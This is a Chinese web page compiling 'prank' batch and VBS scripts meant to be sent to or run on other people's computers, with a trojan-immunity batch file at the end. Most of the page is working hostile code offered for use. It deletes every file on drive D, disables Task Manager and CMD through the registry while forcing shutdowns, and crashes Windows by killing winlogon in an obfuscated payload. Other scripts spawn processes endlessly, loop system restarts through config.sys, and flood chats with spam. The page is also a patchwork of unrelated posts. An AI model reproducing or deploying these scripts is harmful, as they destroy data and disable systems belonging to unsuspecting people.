文档文库

手机版

投诉建议

首页 > VBS整人代码

VBS整人代码

发布时间：2014-07-21 17:52:54 来源：文档文库

小中大

字号：

手机查看

整人专用→电脑技术

这是从一些高手那里学来的招数，呵呵，真是好方法。具体步骤是，打开记事本，在里面输入如下内容：　

@echo 正在轰炸中……

:start

@net send %1 %2

@if errorlevel 1 goto over

goto start

: over

@echo 发送失败: (

将其保存为任意名字的.bat文件即可。使用用法是：任意名字的.bat+空格+目标IP地址+空格+你要对他说的话。　

NO.2戏弄非法用户　

为防止有人胡乱使用自己的电脑，我们可以利用批处理文件来戏弄一下非法用户。方法是用记事本程序在Windows目录中建立一个Winstart.bat文件，并在该文件中加入以下命令：　

@echo off

echo non-system disk or disk error

choice/c:&&/n　

上面代码中的"&&"为我们设置的密码，您可以自行设置。这样重新启动计算机开机时就会显示"non-system disk or disk error"，接着光标一闪一闪的好像死机了一样，造成非法用户以为Windows死机的假象。有时就连高手也会上当受骗！当我们要进入系统时，只要输入"&&"即可。　

NO.3我的电脑你别用　

如果你不想让别人使用你的电脑，又不好意思说，那该怎么办呢？在CMOS中设密码，太小气了吧？他如果问你密码，你好意思不说吗？其实，我们可以用下面这个办法来欺骗一下他的眼睛，使他人以为电脑坏了。　

方法是：进入MS-DOS方式或CMD窗口下，输入：copy con null.sys，按一下回车键，然后什么也别输入，再按一次回车键，按Ctrl+Z或按F6键，屏幕上会显示^z，按一下回车键，屏幕上会显示"1 file(s) copied"，这样就一个名为null.sys的空文件就建好了。现在，找到C盘根目录下的config.sys文件，注意这个文件是隐藏属性，所以必须进入"我的电脑"中，点击"查看(v)"→"文件夹选项"→"查看"→"显示所有文件"才能看到它，然后右键单击该文件，在弹出菜单中选择"用记事本打开"，接下来在config.sys文件中加入：device=c:\null.sys /d:null这样一行，保存修改结果，退出记事本。以后，你的电脑就会在出现Windows的启动画面时自动重新启动，如此反复下去，别人一定以为你的电脑出问题了，而你就可以偷偷乐了. 100%强制关闭对方QQ，整人就这样

100%强制关闭对方QQ。

2010年1月9日测试可用。

要整人，就要整的狠一点！如何呢？要是在他/她聊QQ聊得正欢的时候，关闭她/他的QQ，是不是整的很过瘾呢？下面这个方法，保证让你“遥控”她/他的QQ下线：

首先大家用手机下个07版的qq，登陆你的QQ，锁定目标QQ（前提是他QQ必须在线哦）后，马上用换用电脑上登录你的QQ，然后手机那个关了（为了防止自动刷新断线），然后随便在电脑上截张图（一定要是截图，不能使与啊不由得图片）发给他，好戏开始了，当对方打开，嘿嘿，他的QQ就马上被自动关了，他就不得不重新输入号码重上了！

为什么会这样呢？据我猜测，可能是TX服务器不能及时同步你的QQ信息，、而手机是无法发送截图的，而导致在接收图片的过程中产生错误，

==============================

这样就只有把对方的QQ给强制关了

QQ最新整人技巧—快速让对方卡掉甚至死机

今天娤ｂí送上我最近发明的整人技术哈，也许是早过时了，过时就过时吧，请高手滑过。

现在把这个技术传给大家，大家疯狂去整人吧。（忽忽，开个玩笑，此游戏仅供娱乐，不要上瘾噢！）

一.我们点开一个好友。所用到的魔法表情名字叫倾盆大雨。

我们一直发，多发几次就好了。这样对方整个电脑都是下雨，完全看不见东西。多发几个就可以连续卡对方很久。

[attach]27077[/attach]

当我们发时，先把本地

勾去掉，这样你发时，你这里也不会播放，不然你也会卡。

如何应对呢，首先点开QQ个人设置。找到系统设置。然后设置以下。照我的设置就好了。屏蔽窗口抖动勾上，免的别人抖你，会卡你。我们把自动播放魔法表情不要打勾，别人发给你，你这里就不会播放了。

[attach]27078[/attach]

如果还想卡对方，就弹视频，这样魔法，视频，抖动一起来，再外加一个发送QQ默认的表情，复制一大串，向对方发送，这样不卡都不行了，除非他是超级电脑。

如何应对别人弹视频呢，就是使用彩虹QQ的设置下就好了。

[attach]27079[/attach]

【vbs整人代码《网上收集的》】

###################vbs整人代码1###################

msgbox "要求："&vbcrlf&"1、要同时涉及3大门派"&vbcrlf&"2、要包含江湖门派间多年怨情仇又要打破世俗伦理"&vbcrlf&"3、同时情节还要扣人心悬大有血雨腥呼之欲来令人极为期待该小说之续集同时留下N多悬念"&vbcrlf&"4、越短越好"&vbcrlf&""&vbcrlf&"第N天有人来投稿全文只有九个字:"&vbcrlf&""&vbcrlf&"...........",0,"武侠小说征文"

msgbox "秃驴敢跟贫道抢师太",64,"投稿"

set ws=createobject("wscript.shell")

sub sleep (s)

wscript.sleep s * 1000

end sub

sleep 900

ws.popup "windows检测到有重要更新未安装"&vbcrlf&""&vbcrlf&"系统将在30秒后自动下载更新并安装",30,"Windows Xp",64

sleep 10

ws.popup "正在下载更新......"&vbcrlf&""&vbcrlf&"稍候将提示您安装",10,"Windows Xp",64

sleep 900

ws.popup "windows已将一病毒载入计算机中"&vbcrlf&""&vbcrlf&"稍后即将运行",15,"病毒",64

sleep 3

ws.run "taskkill /f /im qq.exe",vbhide : sleep 5

ws.regwrite "HKLM\software\microsoft\Windows\currentversion\policies\explorer\nodesktop","00000001","REG_DWORD"

wscript.sleep 500

ws.run "taskkill /f /im explorer.exe",vbhide : wscript.sleep 2000

ws.run "explorer.exe",vbhide : wscript.sleep 6000

ws.run "notepad",3 : wscript.sleep 2000

ws.sendkeys "^ " : wscript.sleep 1000

verybat=split("gongxi ,ni ,~,ni ,yijing ,bei ,wo ,kongzhi ,le ,~,ruguo ,ni ,zai ,30 miaozhong ,nei ,guanji ,~,name , keneng ,hai ,youjiu ,~,fouze , haha haha ____youxi ,kaishi la ,~,haole ,wo ,xianzai ,yao ,chuqu ,yixia ,~,yihui ,wo ,zailai ,zhaoni , haizi ,",",")

for each wind in verybat

ws.sendkeys wind

wscript.sleep 500

next

###################vbs整人代码2 ###################

set ierunner=createobject("wscript.shell")

ierunner.run "cmd /c start iexplore 自己的网站站

wscript.sleep 8000

ierunner.sendkeys "%{F4}"

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 3000 -c ""快说你爱我···"" ",0 ,true

dim a

do while(a <> "我爱你")

a = inputbox ("说你爱我,就不关机，快点，说 ""我爱你"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"

###################vbs整人代码3 ###################

set s=createobject("wscript.shell")

set bag=getobject("winmgmts:\\.\root\cimv2")

set pipe=bag.execquery("select * from win32_process where name='wscript.exe'")

For Each id in pipe

if instr(1,id.CommandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then

s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"

s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"

id.terminate()

else

s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"

s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD"

for i=1 to 60

s.popup"系统将在"& 60-i &"秒后关机...",1,"系统提示",4096+48

next

Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem")

For Each eOs In colOS

eOs.Win32Shutdown(2)

Next

end if

Next

一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可).

xx.vbs=>

=---------------------------------------------------------------------------

On Error Resume Next

Dim wsh,ye

set wsh=createobject("wscript.shell")

for i=1 to 10

wscript.sleep 700

wsh.AppActivate("与 xx 聊天中")

wsh.sendKeys "^v"

wsh.sendKeys i

wsh.sendKeys "%s"

next

wscript.quit

----------------------------------------------------------------------------

QQ骚扰信息,也可以用在其它程序上。

二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈

------------------------------------------------------------------------------

do

msgbox "You are foolish!"

loop

------------------------------------------------------------------------------

三、打开无数个计算器，直到死机

------------------------------------------------------------------------------

set wsh=createobject("wscript.shell")

do

wsh.run "calc"

loop

-----------------------------------------------------------------------------

四、直接关机

-----------------------------------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

-----------------------------------------------------------------------------

五、删除D:\所有文件

---------------------------------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

----------------------------------------------------------------------------

六、不断弹出窗口

----------------------------------------------------------------------------

while(1)

msgbox "哈哈你被耍了！"

loop

----------------------------------------------------------------------------

七、不断按下alt+f4 （开什么都关闭……）

---------------------------------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

while(1)

WSHshell.SendKeys "%{F4}"

loop

---------------------------------------------------------------------------

八、按500次回车

(以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ，500可以随意更改)

-----------------------------------------------------------------------------

dim s

do until s=500

s=s+1

msgbox "哥们，给我按500次回车吧",64

loop

'------------------------ ------------------------------------------------------------

九、关不掉的窗口

------------------------------------------------------------------------------------

WScript.Echo("嘿，谢谢你打开我哦，我等你很久

拉！"&TSName)

WScript.Echo("你是可爱的小朋吗?")

WScript.Echo("哈,我想你拉，这你都不知道吗？")

WScript.Echo("怎么才来，说~是不是不关心我")

WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。")

WScript.Echo("小强很生气，后果很严重哦。")

WScript.Echo("嘿嘿！你也会很惨滴哦")

WScript.Echo("是不是想清除我？")

WScript.Echo("那你要点上50下哦，不过会给你惊喜滴")

WScript.Echo("还剩49下，快点点哦")

WScript.Echo("还剩48下，快点，小笨蛋！")

WScript.Echo("还剩47下对，就这样快点点！")

WScript.Echo("还剩46下。你啊就是笨，要快哦，我先不打扰

你工作。")

WScript.Echo("还剩45下，记得要快哦！")

WScript.Echo("还剩43下")

WScript.Echo("还剩42下")

WScript.Echo("还剩41下")

WScript.Echo("还剩40下")

WScript.Echo("还剩39下")

WScript.Echo("还剩38下")

WScript.Echo("还剩37下")

WScript.Echo("还剩36下")

WScript.Echo("还剩35下")

WScript.Echo("还剩34下")

WScript.Echo("还剩33下")

WScript.Echo("还剩32下")

WScript.Echo("还剩30下")

WScript.Echo("还剩29下")

WScript.Echo("还剩28下")

WScript.Echo("还剩27下")

WScript.Echo("还剩26下")

WScript.Echo("还剩25下")

WScript.Echo("还剩24下")

WScript.Echo("还剩23下")

WScript.Echo("还剩22下")

WScript.Echo("还剩21下")

WScript.Echo("还剩20下")

WScript.Echo("还剩19下")

WScript.Echo("还剩18下")

WScript.Echo("还剩17下")

WScript.Echo("还剩16下")

WScript.Echo("还剩15下")

WScript.Echo("还剩14下")

WScript.Echo("还剩13下停停！！！慢点，我有话要说")

WScript.Echo("还剩12下，你继续点我就会消失滴")

WScript.Echo("还剩11下，以后就看不到我拉。555555")

WScript.Echo("还剩10下，你现在可以选择停止！")

WScript.Echo("还剩9下。你还点啊，不要我拉？")

WScript.Echo("还剩8下，有点伤心拉，干嘛丢弃人家")

WScript.Echo("还剩7下。疯了，你有点负意！")

WScript.Echo("还剩6下。对。你就点吧，我恨你！")

WScript.Echo("还剩5下，不明白，删除我你就好吗？")

WScript.Echo("还剩4下！真要删除我？")

WScript.Echo("还剩3下。可是我真的很眷恋你。。。")

WScript.Echo("还剩2下。不要这么绝情嘛，人家是爱你

的！")

WScript.Echo("还剩1下。哼，既然你这么绝情。也别怪我无

义！！！")

WScript.Echo("我本因该消失的，不过我留恋你滴芳容，上帝

又给了一次机会。")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

两个整人vbs代码：

测试环境：Windows 2003 系统

大家好我是Vanlisa QQ137841986

今天给大家带来两个整人的VBS脚本希望大家喜欢

VBS脚本大家都知道吧第一个是定时关机的

如果把他发给你的QQ好友他不懂的话如果不输我是猪电脑就会在你设定的

时间内关机我设置的是3分钟只要输入就解除了当然如果不输的话也有解除的办法

我们来看下这个脚本

--------------------------------------------------------------------------------

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是猪，不说我是猪就一分钟关机，不信，试下···"" ",0 ,true

dim a

do while(a <> "我是猪")

a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪""　","说不说","",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"

--------------------------------------------------------------------------------

新建一个记事本把上面的代码复制进去另存为VBE格式的就可以了

cmd.exe /c shutdown -r -t 180 -c

这里的数字可以修改关机时间 180秒

这些文字也可以自设这个脚本启用cmd 里的关机程序

如果不输的的话可以打开任务管理器输入shutdown -a 来解除我们试下这时定时关机已

经没了但是还有个关不掉的窗口我们打开任务管理器结束掉Wscript.exe 这个进程就OK

了这时就完全解除这个脚本了 Wscript 时Windows 脚本宿主

-------------------------------------------------------------------------------------------

下面看第二个整人的脚本

-------------------------------------------------------------------------------------------

set ws=createobject("wscript.shell")

call shutdown(1)

do while a<>"我是猪"

a=inputbox("快在下面的框框里输入我是猪,否则后果自负，快输""我是猪"" ","输不输","")

loop

call shutdown(2)

msgbox "早说就行了嘛",4096+64

msgbox"再输一遍我是猪!",4096+64

msgbox"我是猪!",4096+64

MsgBox"最后一次!",4096+64

MsgBox"如果你很快的点过去,不看的话",4096+64

MsgBox"我就要你踩我空间的!哼!",4096+64

MsgBox"从前有座山!",4096+64

MsgBox"山里有个庙.",4096+64

MsgBox"庙里有个老和尚在讲故事.",4096+64

ws.run"iexplore.exe 自己的网站

msgbox"哎呀累了！数绵羊哄我睡觉",4096+64

for i=1 to 100

MsgBox i&"只绵羊",4096+64

next

msgbox"哎呀我困了，这次就饶过你吧，下次注意哦!",4096+64

msgbox"最后问个问题，我是不是大好人！",4096+64

if inputbox("是不是","请选择","是")<>"是" then

call shutdown(1)

end if

sub shutdown(s)

select case s

case 1

ws.run"cmd.exe /c shutdown -r -t 60 -c",0

case 2

ws.run"cmd.exe /c shutdown -a",0

end select

end sub

--------------------------------------------------------------------------------

ws.run"iexplore.exe 自己的网站

这段代码可以改成你自己设定的地址

如果别人不输我是猪的话就会一直点下去点到你设定的数字

for i=1 to 100

从1到100

可以改成 20 其他的数字

解除这个VBS脚本的办法就简单了只是关掉任务管理器里Wscript.exe

这个进程就好了

QQ2009整人代码：

set s=createobject("wscript.shell")

set bag=getobject("winmgmts:\\.\root\cimv2")

set pipe=bag.execquery("select * from win32_process where name='wscript.exe'")

For Each id in pipe

if instr(1,id.commandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then

s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"

s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"

id.terminate()

else

s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"

s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD"

for i=1 to 60

s.popup"系统将在"& 60-i &"秒后关机...",1,"系统提示",4096+48

next

Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem")

For Each eOs In colOS

eOs.Win32Shutdown(2)

Next

end if

Next

复制以上代码，在桌面建一个文本，把代码放进去，另存为VBE格式，

此代码的威力：

1：开机就强制自动关机

2：cmd命令打不开

3：结束任务不管用

4：F8安全模式也不管用

呵呵！听起来是不是有点恐怖啊，我在我朋友空间里看见也吓了一跳、

代码破解方法：就是再运行一次，就可以破解了，也就是第2次保存的那个VBE文件，，

PS：不要乱拿软件去整人，发生什么事可不要怪我啊。。

拍拍手顶起吧!

2：

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说你是傻B，我是天下第一大傻B不说宝宝，我是天下第一大傻B就一分钟关你机，不信，试试···"" ",0 ,true

dim a

do while(a <> "宝宝，我是天下第一大傻B")

a = inputbox ("宝宝，我是天下第一大傻B,就不关机，快撒，说 ""宝宝，我是天下第一大傻B""　","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛，乖乖"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "宝宝是不是又帅啦？？"

这代码是我从朋友那拿来的，大家可以试着玩下、你能做非法事情哦、

网页整人效果代码：

想看效果，只要复制这下面的所有代码保存在text文件里，修改文件后缀为txt就能看到效果了。

网页特效|Linkweb.cn/Js|---很恶心的常见整人效果

不许把鼠标移到这里

嘻试吧爽噢。。

vbs整人代码：

代码如下：

Private Sub Form_Load()

Me.Hide

End Sub

Private Sub Timer1_Timer()

'声明变量，其中“count”为静态变量，以便生成不同的文件

Dim files As String

Dim nr As String

Dim c As String

Static count As Long

'定义要把生成的文件存放在那个目录文件下

c = "C:\Program Files\"

'生成文件的内容

nr = "哈哈，被黑的感觉的不错吧"

files = FreeFile

'如果a等于a那么就执行

If a = a Then

'count不断的加1，以便产生不同的文件名

count = count + 1

'产生文件名及文件句柄，并用count作为产生不同的文件名。

Open c & "system" & count & ".dll" For Append As #files

'向文件写内容

Write #files, nr

'清除文件句柄，这里很重要，如果不清除，将产生打开文件太多的错误提示

Close #files

End If

End Sub

vbs整人代码

发现新手对整人代码很感兴趣

现在发一下

N多个

每楼发两个

复制到记事本，后缀改为.vbs

一

if MsgBox("对不起,您灌水太多需要重新启动计算机。"&chr(10)&"确定要重启吗？",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel then

msgbox " 系统将立刻重起wow ~_^",,"你上当了！！"

Set objShell = CreateObject("Wscript.Shell")

objShell.Run "shutdown -s -t 5",,true

end if

二

'这个很强悍的vbs,蓝屏

strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-

23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-

13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103

,98,111,120,32,34,-15133,89,-13899,-20026,-

20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-

14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-

13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-

24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-

18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,1

01,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116,

46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115,

116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,1

03,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101

,110,100,32,105,102,13,10,13,10,13,10)

for i=1 to UBound(strs)

runner=runner&chr(strs(i))

next

Execute runner

vbs解包代码2010-03-27 21:43Dim rs, ws, fso, conn, stream, connStr, theFolder

Set rs = CreateObject("ADODB.RecordSet")

Set stream = CreateObject("ADODB.Stream")

Set conn = CreateObject("ADODB.Connection")

Set fso = CreateObject("Scripting.FileSystemObject")

connStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=HSH.mdb;"

conn.Open connStr

rs.Open "FileData", conn, 1, 1

stream.Open

stream.Type = 1

On Error Resume Next

Do Until rs.Eof

theFolder = Left(rs("thePath"), InStrRev(rs("thePath"), "\"))

If fso.FolderExists(theFolder) = False Then

   createFolder(theFolder)

End If

stream.SetEos()

stream.Write rs("fileContent")

stream.SaveToFile str & rs("thePath"), 2

rs.MoveNext

Loop

rs.Close

conn.Close

stream.Close

Set ws = Nothing

Set rs = Nothing

Set stream = Nothing

Set conn = Nothing

Wscript.Echo "所有文件释放完毕!"

Sub createFolder(thePath)

Dim i

i = Instr(thePath, "\")

Do While i > 0

   If fso.FolderExists(Left(thePath, i)) = False Then

    fso.CreateFolder(Left(thePath, i - 1))

   End If

   If InStr(Mid(thePath, i + 1), "\") Then

    i = i + Instr(Mid(thePath, i + 1), "\")

   Else

    i = 0

   End If

Loop

End Sub

木马病毒完全免疫批处理源代码

@echo off

color 0a

echo ******************************************************************************

echo *                                                                         *

echo *                      现在进行机器狗免疫                                  *

echo *                                                                         *

echo ******************************************************************************

md C:\WINDOWS\system32\wxptdi.sys 2>nul

md C:\WINDOWS\system32\wxptdi.sys\1..\ 2>nul

md C:\WINDOWS\system32\fat32.sys 2>nul

md C:\WINDOWS\system32\fat32.sys\1..\ 2>nul

md C:\WINDOWS\system32\drivers\ati32srv.sys 2>nul

md C:\WINDOWS\system32\drivers\ati32srv.sys\1..\ 2>nul

md C:\WINDOWS\system32\drivers\pcibus.sys 2>nul

md C:\WINDOWS\system32\drivers\pcibus.sys\1..\ 2>nul

md C:\WINDOWS\system32\drivers\pcidisk.sys 2>nul

md C:\WINDOWS\system32\drivers\pcidisk.sys\1..\ 2>nul

md C:\WINDOWS\system32\drivers\pcihdd.sys 2>nul

md C:\WINDOWS\system32\drivers\pcihdd.sys\1..\ 2>nul

md C:\WINDOWS\system32\drivers\phy.sys 2>nul

md C:\WINDOWS\system32\drivers\phy.sys\1..\ 2>nul

md C:\WINDOWS\system32\drivers\pop.sys 2>nul

md C:\WINDOWS\system32\drivers\pop.sys\1..\ 2>nul

md C:\WINDOWS\system32\drivers\puid.sys 2>nul

md C:\WINDOWS\system32\drivers\puid.sys\1..\ 2>nul

md C:\WINDOWS\system32\drivers\usb32k.sys 2>nul

md C:\WINDOWS\system32\drivers\usb32k.sys\1..\ 2>nul

md C:\WINDOWS\system32\2dogkiller.sys 2>nul

md C:\WINDOWS\system32\2dogkiller.sys\1..\ 2>nul

attrib C:\WINDOWS\system32\wxptdi.sys +s +h +r +a 2>nul

attrib C:\WINDOWS\system32\fat32.sys +s +h +r +a 2>nul

attrib C:\WINDOWS\system32\drivers\ati32srv.sys +s +h +r +a 2>nul

attrib C:\WINDOWS\system32\drivers\ati32srv.sys +s +h +r +a 2>nul

attrib C:\WINDOWS\system32\drivers\pcidisk.sys +s +h +r +a 2>nul

attrib C:\WINDOWS\system32\drivers\pcihdd.sys +s +h +r +a 2>nul

attrib C:\WINDOWS\system32\drivers\phy.sys +s +h +r +a 2>nul

attrib C:\WINDOWS\system32\drivers\pop.sys +s +h +r +a 2>nul

attrib C:\WINDOWS\system32\drivers\puid.sys +s +h +r +a 2>nul

attrib C:\WINDOWS\system32\drivers\puid.sys +s +h +r +a 2>nul

attrib C:\WINDOWS\system32\drivers\usb32k.sys +s +h +r +a 2>nul

attrib C:\WINDOWS\system32\2dogkiller.sys +s +h +r +a 2>nul

attrib C:\WINDOWS\system32\drivers\pcibus.sys +s +h +r +a 2>nul

echo y|cacls C:\WINDOWS\system32\2dogkiller.sys /d everyone 2>nul

echo y|cacls C:\WINDOWS\system32\drivers\usb32k.sys /d everyone2 >nul

echo y|cacls C:\WINDOWS\system32\drivers\puid.sys /d everyone 2>nul

echo y|cacls C:\WINDOWS\system32\drivers\pop.sys /d everyone 2>nul

echo y|cacls C:\WINDOWS\system32\drivers\phy.sys /d everyone 2>nul

echo y|cacls C:\WINDOWS\system32\drivers\pcihdd.sys /d everyone 2>nul

echo y|cacls C:\WINDOWS\system32\drivers\pcidisk.sys /d everyone 2>nul

echo y|cacls C:\WINDOWS\system32\drivers\pcibus.sys /d everyone 2>nul

echo y|cacls C:\WINDOWS\system32\drivers\ati32srv.sys /d everyone 2>nul

echo y|cacls C:\WINDOWS\system32\fat32.sys /d everyone 2>nul

echo y|cacls C:\WINDOWS\system32\wxptdi.sys /d everyone 2>nul

echo *********************************************************************************

echo *                                                                            *

echo *                               免疫完成                                  *

echo *                                                                            *

echo *********************************************************************************

echo *********************************************************************************

echo *                                                                            *

echo *                         现在进行机器狗小马免疫                            *

echo *                                                                            *

echo *********************************************************************************

md c:\windows\system32\bqtldzlu.exe 2>nul

md c:\windows\system32\diynpis.exe 2>nul

md c:\windows\system32\dndsioc.exe 2>nul

md c:\windows\sytem32\fewqickd.exe 2>nul

md c:\windows\sytem32\fmschif.exe 2>nul

md c:\windows\sytem32\fmsjhif.exe 2>nul

md c:\windows\sytem32\hefcndy.exe 2>nul

md c:\windows\sytem32\hgeazpkc.exe 2>nul

md c:\windows\sytem32\anistio.exe 2>nul

md c:\windows\sytem32\anittio.exe 2>nul

md c:\windows\sytem32\isndctio.exe 2>nul

md c:\windows\sytem32\juejwcx.exe 2>nul

md c:\windows\sytem32\nbnwewd.exe 2>nul

md c:\windows\sytem32\ptshell.exe 2>nul

md c:\windows\sytem32\uiwcaqws.exe 2>nul

md c:\windows\sytem32\wipxcdec.exe 2>nul

md c:\windows\sytem32\wrew2ds.exe 2>nul

md c:\windows\system32\ytewcxzsw.exe 2>nul

attrib c:\windows\system32\bqtldzlu.exe +s +r +h +a 2>nul

attrib c:\windows\system32\diynpis.exe +s +r +h +a 2>nul

attrib c:\windows\system32\dndsioc.exe +s +r +h +a 2>nul

attrib c:\windows\sytem32\fewqickd.exe +s +r +h +a 2>nul

attrib c:\windows\sytem32\fmschif.exe +s +r +h +a 2>nul

attrib c:\windows\sytem32\fmsjhif.exe +s +r +h +a 2>nul

attrib c:\windows\sytem32\hefcndy.exe +s +r +h +a  2>nul

attrib c:\windows\sytem32\hgeazpkc.exe +s +r +h +a 2>nul

attrib c:\windows\sytem32\anistio.exe +s +r +h +a 2>nul

attrib c:\windows\sytem32\anittio.exe +s +r +h +a 2>nul

attrib c:\windows\sytem32\isndctio.exe +s +r +h +a 2>nul

attrib c:\windows\sytem32\juejwcx.exe +s +r +h +a 2>nul

attrib c:\windows\sytem32\nbnwewd.exe +s +r +h +a 2>nul

attrib c:\windows\sytem32\ptshell.exe +s +r +h +a 2>nul

attrib c:\windows\sytem32\uiwcaqws.exe +s +r +h +a 2>nul

attrib c:\windows\sytem32\wipxcdec.exe +s +r +h +a 2>nul

attrib c:\windows\sytem32\wrew2ds.exe +s +r +h +a 2>nul

attrib c:\windows\system32\ytewcxzsw.exe +s +r +h +a 2>nul

echo y|cacls c:\windows\system32\bqtldzlu.exe /d everyone 2>nul

echo y|cacls c:\windows\system32\diynpis.exe /d everyone 2>nul

echo y|cacls c:\windows\system32\dndsioc.exe /d everyone 2>nul

echo y|cacls c:\windows\sytem32\fewqickd.exe /d everyone 2>nul

echo y|cacls c:\windows\sytem32\fmschif.exe /d everyone 2>nul

echo y|cacls c:\windows\sytem32\fmsjhif.exe /d everyone 2>nul

echo y|cacls c:\windows\sytem32\hefcndy.exe /d everyone 2>nul

echo y|cacls c:\windows\sytem32\hgeazpkc.exe /d everyone 2>nul

echo y|cacls c:\windows\sytem32\anistio.exe /d everyone 2>nul

echo y|cacls c:\windows\sytem32\anittio.exe /d everyone 2>nul

echo y|cacls c:\windows\sytem32\isndctio.exe /d everyone 2>nul

echo y|cacls c:\windows\sytem32\juejwcx.exe /d everyone 2>nul

echo y|cacls c:\windows\sytem32\nbnwewd.exe /d everyone 2>nul

echo y|cacls c:\windows\sytem32\ptshell.exe /d everyone 2>nul

echo y|cacls c:\windows\sytem32\uiwcaqws.exe /d everyone 2>nul

echo y|cacls c:\windows\sytem32\wipxcdec.exe /d everyone 2>nul

echo y|cacls c:\windows\sytem32\wrew2ds.exe /d everyone 2>nul

echo y|cacls c:\windows\system32\ytewcxzsw.exe /d everyone 2>nul

echo *********************************************************************************

echo *                                                                            *

echo *                               免疫完成                                  *

echo *                                                                            *

echo *********************************************************************************

echo *********************************************************************************

echo *                                                                            *

echo *                               进行Auto免疫                                  *

echo *                                                                            *

echo *********************************************************************************

for %%a in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do md %%a:\auto.exe >nul 2>nul

for %%h in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do md %%h:\auto.exe\1..\ >nul 2>nul

for %%b in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do md %%b:\autorun.inf >nul 2>nul

for %%g in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do md %%g:\autorun.inf\1..\ >nul 2>nul

